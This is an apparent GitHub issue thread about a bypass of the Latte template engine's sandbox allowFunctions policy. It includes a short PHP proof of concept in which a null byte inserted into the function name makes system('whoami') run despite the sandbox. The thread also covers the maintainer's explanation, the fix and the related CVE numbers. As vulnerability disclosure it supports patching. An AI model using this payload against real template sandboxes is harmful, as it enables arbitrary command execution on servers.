There is a way to bypass allowFunctions

[P0wfuu]

Version: 2.10.5

Bug Description

There is a way to bypass allowFunctions that will affect security.

Steps To Reproduce

<?php
error_reporting(0);
require 'vendor/autoload.php';
$latte = new Latte\Engine;
$policy = new Latte\Sandbox\SecurityPolicy;
$policy->allowFilters($policy::ALL);
$policy->allowMacros(['if','=']);
$policy->allowFunctions(['strlen']);
$latte->setPolicy($policy);
$latte->setSandboxMode();
$latte->setAutoRefresh(false);
file_put_contents('index.latte',"{=system\x00('whoami')}");
$latte->render('index.latte');

This will execute the system function.

Expected Behavior

Should throw an error not allowed by system function

Possible Solution

Use rigorous regular expression segmentation, or add more rigorous judgments in isFunctionAllowed function

[dg]

The template {=system\x00('whoami')} will produce non-valid PHP code. Latte cannot check the validity of the generated code at this time, this will be implemented in the next major version.

[P0wfuu]

Thank you for your reply. Although this is a PHP language bug, it does affect your project.

php > eval("system\x00('whoami');");
PHP Warning:  Unexpected character in input:  ' in php shell code(1) : eval()'d code on line 1
PHP Stack trace:
PHP   1. {main}() php shell code:0

Warning: Unexpected character in input:  ' in php shell code(1) : eval()'d code on line 1

Call Stack:
   32.1605     394912   1. {main}() php shell code:0

jiang\hp

system function is executed without permission, which undoubtedly violates the isFunctionAllowed function in latte.

[dg]

Oh, my gosh, I didn't know about that PHP bug. Affected are PHP 7.0-7.4 for characters \x00-\x1F & \x7F

[P0wfuu]

Yeah,will latte fix this bypass in the next major version?

[dg]

It should be fixed.

[P0wfuu]

Good to hear that a fix was made.Sorry I disclosed this bug publicly.

[dg]

Sorry I disclosed this bug publicly.

That's okay. Sandbox is a new feature and I don't think anyone has used it in real life yet. In fact, I pretty much expect there to be some bugs in it.

[utkarsh2102]

Oh hey, I am interested to know in which commit was this introduced? Or which versions are affected? All before 2.10.5?

[utkarsh2102]

BTW, this was assigned CVE-2021-23803. And hence I am interested to know about the above question. TIA! \o/

[dg]

There were more sandbox issues in a last months. They're all fixed, and they are covered collectively by CVE-2022-21648

[utkarsh2102]

@dg, thanks for letting me know but I am interested in the versions these two CVEs affect of this project? Are all the versions prior to the fixed version affected? Or this only affects some versions?